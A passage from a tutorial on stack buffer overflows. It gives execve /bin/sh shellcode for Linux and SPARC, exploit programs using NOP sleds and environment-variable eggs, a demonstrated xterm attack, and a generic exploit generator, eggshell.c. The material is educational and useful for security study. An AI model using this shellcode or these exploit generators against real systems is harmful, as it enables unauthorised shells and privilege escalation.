| leal 0x8(%esi),%ecx # 3 bytes | |
| leal 0xc(%esi),%edx # 3 bytes | |
| int $0x80 # 2 bytes | |
| xorl %ebx,%ebx # 2 bytes | |
| movl %ebx,%eax # 2 bytes | |
| inc %eax # 1 bytes | |
| int $0x80 # 2 bytes | |
| call -0x24 # 5 bytes | |
| .string \"/bin/sh\" # 8 bytes | |
| # 46 bytes total | |
| "); | |
| } | |
| ------------------------------------------------------------------------------ | |
| And our new test program: | |
| testsc2.c | |
| ------------------------------------------------------------------------------ | |
| char shellcode[] = | |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; | |
| void main() { | |
| int *ret; | |
| ret = (int *)&ret + 2; | |
| (*ret) = (int)shellcode; | |
| } | |
| ------------------------------------------------------------------------------ | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ gcc -o testsc2 testsc2.c | |
| [aleph1]$ ./testsc2 | |
| $ exit | |
| [aleph1]$ | |
| ------------------------------------------------------------------------------ | |
| Writing an Exploit | |
| ~~~~~~~~~~~~~~~~~~ | |
| (or how to mung the stack) | |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~ | |
| Lets try to pull all our pieces together. We have the shellcode. We know | |
| it must be part of the string which we'll use to overflow the buffer. We | |
| know we must point the return address back into the buffer. This example will | |
| demonstrate these points: | |
| overflow1.c | |
| ------------------------------------------------------------------------------ | |
| char shellcode[] = | |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; | |
| char large_string[128]; | |
| void main() { | |
| char buffer[96]; | |
| int i; | |
| long *long_ptr = (long *) large_string; | |
| for (i = 0; i < 32; i++) | |
| *(long_ptr + i) = (int) buffer; | |
| for (i = 0; i < strlen(shellcode); i++) | |
| large_string[i] = shellcode[i]; | |
| strcpy(buffer,large_string); | |
| } | |
| ------------------------------------------------------------------------------ | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ gcc -o exploit1 exploit1.c | |
| [aleph1]$ ./exploit1 | |
| $ exit | |
| exit | |
| [aleph1]$ | |
| ------------------------------------------------------------------------------ | |
| What we have done above is filled the array large_string[] with the | |
| address of buffer[], which is where our code will be. Then we copy our | |
| shellcode into the beginning of the large_string string. strcpy() will then | |
| copy large_string onto buffer without doing any bounds checking, and will | |
| overflow the return address, overwriting it with the address where our code | |
| is now located. Once we reach the end of main and it tried to return it | |
| jumps to our code, and execs a shell. | |
| The problem we are faced when trying to overflow the buffer of another | |
| program is trying to figure out at what address the buffer (and thus our | |
| code) will be. The answer is that for every program the stack will | |
| start at the same address. Most programs do not push more than a few hundred | |
| or a few thousand bytes into the stack at any one time. Therefore by knowing | |
| where the stack starts we can try to guess where the buffer we are trying to | |
| overflow will be. Here is a little program that will print its stack | |
| pointer: | |
| sp.c | |
| ------------------------------------------------------------------------------ | |
| unsigned long get_sp(void) { | |
| __asm__("movl %esp,%eax"); | |
| } | |
| void main() { | |
| printf("0x%x\n", get_sp()); | |
| } | |
| ------------------------------------------------------------------------------ | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ ./sp | |
| 0x8000470 | |
| [aleph1]$ | |
| ------------------------------------------------------------------------------ | |
| Lets assume this is the program we are trying to overflow is: | |
| vulnerable.c | |
| ------------------------------------------------------------------------------ | |
| void main(int argc, char *argv[]) { | |
| char buffer[512]; | |
| if (argc > 1) | |
| strcpy(buffer,argv[1]); | |
| } | |
| ------------------------------------------------------------------------------ | |
| We can create a program that takes as a parameter a buffer size, and an | |
| offset from its own stack pointer (where we believe the buffer we want to | |
| overflow may live). We'll put the overflow string in an environment variable | |
| so it is easy to manipulate: | |
| exploit2.c | |
| ------------------------------------------------------------------------------ | |
| #include <stdlib.h> | |
| #define DEFAULT_OFFSET 0 | |
| #define DEFAULT_BUFFER_SIZE 512 | |
| char shellcode[] = | |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; | |
| unsigned long get_sp(void) { | |
| __asm__("movl %esp,%eax"); | |
| } | |
| void main(int argc, char *argv[]) { | |
| char *buff, *ptr; | |
| long *addr_ptr, addr; | |
| int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; | |
| int i; | |
| if (argc > 1) bsize = atoi(argv[1]); | |
| if (argc > 2) offset = atoi(argv[2]); | |
| if (!(buff = malloc(bsize))) { | |
| printf("Can't allocate memory.\n"); | |
| exit(0); | |
| } | |
| addr = get_sp() - offset; | |
| printf("Using address: 0x%x\n", addr); | |
| ptr = buff; | |
| addr_ptr = (long *) ptr; | |
| for (i = 0; i < bsize; i+=4) | |
| *(addr_ptr++) = addr; | |
| ptr += 4; | |
| for (i = 0; i < strlen(shellcode); i++) | |
| *(ptr++) = shellcode[i]; | |
| buff[bsize - 1] = '\0'; | |
| memcpy(buff,"EGG=",4); | |
| putenv(buff); | |
| system("/bin/bash"); | |
| } | |
| ------------------------------------------------------------------------------ | |
| Now we can try to guess what the buffer and offset should be: | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ ./exploit2 500 | |
| Using address: 0xbffffdb4 | |
| [aleph1]$ ./vulnerable $EGG | |
| [aleph1]$ exit | |
| [aleph1]$ ./exploit2 600 | |
| Using address: 0xbffffdb4 | |
| [aleph1]$ ./vulnerable $EGG | |
| Illegal instruction | |
| [aleph1]$ exit | |
| [aleph1]$ ./exploit2 600 100 | |
| Using address: 0xbffffd4c | |
| [aleph1]$ ./vulnerable $EGG | |
| Segmentation fault | |
| [aleph1]$ exit | |
| [aleph1]$ ./exploit2 600 200 | |
| Using address: 0xbffffce8 | |
| [aleph1]$ ./vulnerable $EGG | |
| Segmentation fault | |
| [aleph1]$ exit | |
| . | |
| . | |
| . | |
| [aleph1]$ ./exploit2 600 1564 | |
| Using address: 0xbffff794 | |
| [aleph1]$ ./vulnerable $EGG | |
| $ | |
| ------------------------------------------------------------------------------ | |
| As we can see this is not an efficient process. Trying to guess the | |
| offset even while knowing where the beginning of the stack lives is nearly | |
| impossible. We would need at best a hundred tries, and at worst a couple of | |
| thousand. The problem is we need to guess *exactly* where the address of our | |
| code will start. If we are off by one byte more or less we will just get a | |
| segmentation violation or a invalid instruction. One way to increase our | |
| chances is to pad the front of our overflow buffer with NOP instructions. | |
| Almost all processors have a NOP instruction that performs a null operation. | |
| It is usually used to delay execution for purposes of timing. We will take | |
| advantage of it and fill half of our overflow buffer with them. We will place | |
| our shellcode at the center, and then follow it with the return addresses. If | |
| we are lucky and the return address points anywhere in the string of NOPs, | |
| they will just get executed until they reach our code. In the Intel | |
| architecture the NOP instruction is one byte long and it translates to 0x90 | |
| in machine code. Assuming the stack starts at address 0xFF, that S stands for | |
| shell code, and that N stands for a NOP instruction the new stack would look | |
| like this: | |
| bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of | |
| memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory | |
| buffer sfp ret a b c | |
| <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] | |
| ^ | | |
| |_____________________| | |
| top of bottom of | |
| stack stack | |
| The new exploits is then: | |
| exploit3.c | |
| ------------------------------------------------------------------------------ | |
| #include <stdlib.h> | |
| #define DEFAULT_OFFSET 0 | |
| #define DEFAULT_BUFFER_SIZE 512 | |
| #define NOP 0x90 | |
| char shellcode[] = | |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; | |
| unsigned long get_sp(void) { | |
| __asm__("movl %esp,%eax"); | |
| } | |
| void main(int argc, char *argv[]) { | |
| char *buff, *ptr; | |
| long *addr_ptr, addr; | |
| int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; | |
| int i; | |
| if (argc > 1) bsize = atoi(argv[1]); | |
| if (argc > 2) offset = atoi(argv[2]); | |
| if (!(buff = malloc(bsize))) { | |
| printf("Can't allocate memory.\n"); | |
| exit(0); | |
| } | |
| addr = get_sp() - offset; | |
| printf("Using address: 0x%x\n", addr); | |
| ptr = buff; | |
| addr_ptr = (long *) ptr; | |
| for (i = 0; i < bsize; i+=4) | |
| *(addr_ptr++) = addr; | |
| for (i = 0; i < bsize/2; i++) | |
| buff[i] = NOP; | |
| ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); | |
| for (i = 0; i < strlen(shellcode); i++) | |
| *(ptr++) = shellcode[i]; | |
| buff[bsize - 1] = '\0'; | |
| memcpy(buff,"EGG=",4); | |
| putenv(buff); | |
| system("/bin/bash"); | |
| } | |
| ------------------------------------------------------------------------------ | |
| A good selection for our buffer size is about 100 bytes more than the size | |
| of the buffer we are trying to overflow. This will place our code at the end | |
| of the buffer we are trying to overflow, giving a lot of space for the NOPs, | |
| but still overwriting the return address with the address we guessed. The | |
| buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's | |
| try to overflow our test program with our new exploit: | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ ./exploit3 612 | |
| Using address: 0xbffffdb4 | |
| [aleph1]$ ./vulnerable $EGG | |
| $ | |
| ------------------------------------------------------------------------------ | |
| Whoa! First try! This change has improved our chances a hundredfold. | |
| Let's try it now on a real case of a buffer overflow. We'll use for our | |
| demonstration the buffer overflow on the Xt library. For our example, we'll | |
| use xterm (all programs linked with the Xt library are vulnerable). You must | |
| be running an X server and allow connections to it from the localhost. Set | |
| your DISPLAY variable accordingly. | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ export DISPLAY=:0.0 | |
| [aleph1]$ ./exploit3 1124 | |
| Using address: 0xbffffdb4 | |
| [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG | |
| Warning: Color name "^1FF | |
| V | |
| 1@/bin/sh | |
| ^C | |
| [aleph1]$ exit | |
| [aleph1]$ ./exploit3 2148 100 | |
| Using address: 0xbffffd48 | |
| [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG | |
| Warning: Color name "^1FF | |
| V | |
| 1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH | |
| HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH | |
| HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH | |
| HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH | |
| HHHHHHHHHHHH | |
| Warning: some arguments in previous message were lost | |
| Illegal instruction | |
| [aleph1]$ exit | |
| . | |
| . | |
| . | |
| [aleph1]$ ./exploit4 2148 600 | |
| Using address: 0xbffffb54 | |
| [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG | |
| Warning: Color name "^1FF | |
| V | |
| 1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT | |
| TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT | |
| TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT | |
| TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT | |
| TTTTTTTTTTTT | |
| Warning: some arguments in previous message were lost | |
| bash$ | |
| ------------------------------------------------------------------------------ | |
| Eureka! Less than a dozen tries and we found the magic numbers. If xterm | |
| where installed suid root this would now be a root shell. | |
| Small Buffer Overflows | |
| ~~~~~~~~~~~~~~~~~~~~~~ | |
| There will be times when the buffer you are trying to overflow is so | |
| small that either the shellcode wont fit into it, and it will overwrite the | |
| return address with instructions instead of the address of our code, or the | |
| number of NOPs you can pad the front of the string with is so small that the | |
| chances of guessing their address is minuscule. To obtain a shell from these | |
| programs we will have to go about it another way. This particular approach | |
| only works when you have access to the program's environment variables. | |
| What we will do is place our shellcode in an environment variable, and | |
| then overflow the buffer with the address of this variable in memory. This | |
| method also increases your changes of the exploit working as you can make | |
| the environment variable holding the shell code as large as you want. | |
| The environment variables are stored in the top of the stack when the | |
| program is started, any modification by setenv() are then allocated | |
| elsewhere. The stack at the beginning then looks like this: | |
| <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp> | |
| Our new program will take an extra variable, the size of the variable | |
| containing the shellcode and NOPs. Our new exploit now looks like this: | |
| exploit4.c | |
| ------------------------------------------------------------------------------ | |
| #include <stdlib.h> | |
| #define DEFAULT_OFFSET 0 | |
| #define DEFAULT_BUFFER_SIZE 512 | |
| #define DEFAULT_EGG_SIZE 2048 | |
| #define NOP 0x90 | |
| char shellcode[] = | |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; | |
| unsigned long get_esp(void) { | |
| __asm__("movl %esp,%eax"); | |
| } | |
| void main(int argc, char *argv[]) { | |
| char *buff, *ptr, *egg; | |
| long *addr_ptr, addr; | |
| int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; | |
| int i, eggsize=DEFAULT_EGG_SIZE; | |
| if (argc > 1) bsize = atoi(argv[1]); | |
| if (argc > 2) offset = atoi(argv[2]); | |
| if (argc > 3) eggsize = atoi(argv[3]); | |
| if (!(buff = malloc(bsize))) { | |
| printf("Can't allocate memory.\n"); | |
| exit(0); | |
| } | |
| if (!(egg = malloc(eggsize))) { | |
| printf("Can't allocate memory.\n"); | |
| exit(0); | |
| } | |
| addr = get_esp() - offset; | |
| printf("Using address: 0x%x\n", addr); | |
| ptr = buff; | |
| addr_ptr = (long *) ptr; | |
| for (i = 0; i < bsize; i+=4) | |
| *(addr_ptr++) = addr; | |
| ptr = egg; | |
| for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) | |
| *(ptr++) = NOP; | |
| for (i = 0; i < strlen(shellcode); i++) | |
| *(ptr++) = shellcode[i]; | |
| buff[bsize - 1] = '\0'; | |
| egg[eggsize - 1] = '\0'; | |
| memcpy(egg,"EGG=",4); | |
| putenv(egg); | |
| memcpy(buff,"RET=",4); | |
| putenv(buff); | |
| system("/bin/bash"); | |
| } | |
| ------------------------------------------------------------------------------ | |
| Lets try our new exploit with our vulnerable test program: | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ ./exploit4 768 | |
| Using address: 0xbffffdb0 | |
| [aleph1]$ ./vulnerable $RET | |
| $ | |
| ------------------------------------------------------------------------------ | |
| Works like a charm. Now lets try it on xterm: | |
| ------------------------------------------------------------------------------ | |
| [aleph1]$ export DISPLAY=:0.0 | |
| [aleph1]$ ./exploit4 2148 | |
| Using address: 0xbffffdb0 | |
| [aleph1]$ /usr/X11R6/bin/xterm -fg $RET | |
| Warning: Color name | |
| " | |
| Warning: some arguments in previous message were lost | |
| $ | |
| ------------------------------------------------------------------------------ | |
| On the first try! It has certainly increased our odds. Depending how | |
| much environment data the exploit program has compared with the program | |
| you are trying to exploit the guessed address may be to low or to high. | |
| Experiment both with positive and negative offsets. | |
| Finding Buffer Overflows | |
| ~~~~~~~~~~~~~~~~~~~~~~~~ | |
| As stated earlier, buffer overflows are the result of stuffing more | |
| information into a buffer than it is meant to hold. Since C does not have any | |
| built-in bounds checking, overflows often manifest themselves as writing past | |
| the end of a character array. The standard C library provides a number of | |
| functions for copying or appending strings, that perform no boundary checking. | |
| They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions | |
| operate on null-terminated strings, and do not check for overflow of the | |
| receiving string. gets() is a function that reads a line from stdin into | |
| a buffer until either a terminating newline or EOF. It performs no checks for | |
| buffer overflows. The scanf() family of functions can also be a problem if | |
| you are matching a sequence of non-white-space characters (%s), or matching a | |
| non-empty sequence of characters from a specified set (%[]), and the array | |
| pointed to by the char pointer, is not large enough to accept the whole | |
| sequence of characters, and you have not defined the optional maximum field | |
| width. If the target of any of these functions is a buffer of static size, | |
| and its other argument was somehow derived from user input there is a good | |
| posibility that you might be able to exploit a buffer overflow. | |
| Another usual programming construct we find is the use of a while loop to | |
| read one character at a time into a buffer from stdin or some file until the | |
| end of line, end of file, or some other delimiter is reached. This type of | |
| construct usually uses one of these functions: getc(), fgetc(), or getchar(). | |
| If there is no explicit checks for overflows in the while loop, such programs | |
| are easily exploited. | |
| To conclude, grep(1) is your friend. The sources for free operating | |
| systems and their utilities is readily available. This fact becomes quite | |
| interesting once you realize that many comercial operating systems utilities | |
| where derived from the same sources as the free ones. Use the source d00d. | |
| Appendix A - Shellcode for Different Operating Systems/Architectures | |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | |
| i386/Linux | |
| ------------------------------------------------------------------------------ | |
| jmp 0x1f | |
| popl %esi | |
| movl %esi,0x8(%esi) | |
| xorl %eax,%eax | |
| movb %eax,0x7(%esi) | |
| movl %eax,0xc(%esi) | |
| movb $0xb,%al | |
| movl %esi,%ebx | |
| leal 0x8(%esi),%ecx | |
| leal 0xc(%esi),%edx | |
| int $0x80 | |
| xorl %ebx,%ebx | |
| movl %ebx,%eax | |
| inc %eax | |
| int $0x80 | |
| call -0x24 | |
| .string \"/bin/sh\" | |
| ------------------------------------------------------------------------------ | |
| SPARC/Solaris | |
| ------------------------------------------------------------------------------ | |
| sethi 0xbd89a, %l6 | |
| or %l6, 0x16e, %l6 | |
| sethi 0xbdcda, %l7 | |
| and %sp, %sp, %o0 | |
| add %sp, 8, %o1 | |
| xor %o2, %o2, %o2 | |
| add %sp, 16, %sp | |
| std %l6, [%sp - 16] | |
| st %sp, [%sp - 8] | |
| st %g0, [%sp - 4] | |
| mov 0x3b, %g1 | |
| ta 8 | |
| xor %o7, %o7, %o0 | |
| mov 1, %g1 | |
| ta 8 | |
| ------------------------------------------------------------------------------ | |
| SPARC/SunOS | |
| ------------------------------------------------------------------------------ | |
| sethi 0xbd89a, %l6 | |
| or %l6, 0x16e, %l6 | |
| sethi 0xbdcda, %l7 | |
| and %sp, %sp, %o0 | |
| add %sp, 8, %o1 | |
| xor %o2, %o2, %o2 | |
| add %sp, 16, %sp | |
| std %l6, [%sp - 16] | |
| st %sp, [%sp - 8] | |
| st %g0, [%sp - 4] | |
| mov 0x3b, %g1 | |
| mov -0x1, %l5 | |
| ta %l5 + 1 | |
| xor %o7, %o7, %o0 | |
| mov 1, %g1 | |
| ta %l5 + 1 | |
| ------------------------------------------------------------------------------ | |
| Appendix B - Generic Buffer Overflow Program | |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | |
| shellcode.h | |
| ------------------------------------------------------------------------------ | |
| #if defined(__i386__) && defined(__linux__) | |
| #define NOP_SIZE 1 | |
| char nop[] = "\x90"; | |
| char shellcode[] = | |
| "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | |
| "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | |
| "\x80\xe8\xdc\xff\xff\xff/bin/sh"; | |
| unsigned long get_sp(void) { | |
| __asm__("movl %esp,%eax"); | |
| } | |
| #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) | |
| #define NOP_SIZE 4 | |
| char nop[]="\xac\x15\xa1\x6e"; | |
| char shellcode[] = | |
| "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" | |
| "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" | |
| "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" | |
| "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; | |
| unsigned long get_sp(void) { | |
| __asm__("or %sp, %sp, %i0"); | |
| } | |
| #elif defined(__sparc__) && defined(__sun__) | |
| #define NOP_SIZE 4 | |
| char nop[]="\xac\x15\xa1\x6e"; | |
| char shellcode[] = | |
| "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" | |
| "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" | |
| "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" | |
| "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; | |
| unsigned long get_sp(void) { | |
| __asm__("or %sp, %sp, %i0"); | |
| } | |
| #endif | |
| ------------------------------------------------------------------------------ | |
| eggshell.c | |
| ------------------------------------------------------------------------------ | |
| /* | |
| * eggshell v1.0 | |
| * | |
| * Aleph One / aleph1@underground.org | |
| */ | |
| #include <stdlib.h> | |
| #include <stdio.h> | |
| #include "shellcode.h" | |
| #define DEFAULT_OFFSET 0 | |
| #define DEFAULT_BUFFER_SIZE 512 | |
| #define DEFAULT_EGG_SIZE 2048 | |
| void usage(void); | |
| void main(int argc, char *argv[]) { | |
| char *ptr, *bof, *egg; | |
| long *addr_ptr, addr; | |
| int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; | |
| int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; | |
| while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) | |
| switch (c) { | |
| case 'a': | |
| align = atoi(optarg); | |
| break; | |
| case 'b': | |
| bsize = atoi(optarg); | |
| break; | |
| case 'e': | |
| eggsize = atoi(optarg); | |
| break; | |
| case 'o': | |
| offset = atoi(optarg); | |
| break; | |
| case '?': | |
| usage(); | |
| exit(0); | |
| } | |
| if (strlen(shellcode) > eggsize) { | |
| printf("Shellcode is larger the the egg.\n"); | |
| exit(0); | |
| } | |
| if (!(bof = malloc(bsize))) { | |
| printf("Can't allocate memory.\n"); | |
| exit(0); | |
| } | |
| if (!(egg = malloc(eggsize))) { | |
| printf("Can't allocate memory.\n"); | |
| exit(0); | |
| } | |
| addr = get_sp() - offset; | |
| printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", | |
| bsize, eggsize, align); | |
| printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); | |
| addr_ptr = (long *) bof; | |
| for (i = 0; i < bsize; i+=4) | |
| *(addr_ptr++) = addr; | |
| ptr = egg; | |
| for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) | |
| for (n = 0; n < NOP_SIZE; n++) { | |
| m = (n + align) % NOP_SIZE; | |
| *(ptr++) = nop[m]; | |
| } | |
| for (i = 0; i < strlen(shellcode); i++) | |
| *(ptr++) = shellcode[i]; | |
| bof[bsize - 1] = '\0'; | |
| egg[eggsize - 1] = '\0'; | |
| memcpy(egg,"EGG=",4); | |
| putenv(egg); | |
| memcpy(bof,"BOF=",4); | |
| putenv(bof); | |
| system("/bin/sh"); | |
| } | |
| void usage(void) { | |
| (void)fprintf(stderr, | |
| "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n"); | |
| } | |
| ------------------------------------------------------------------------------ | |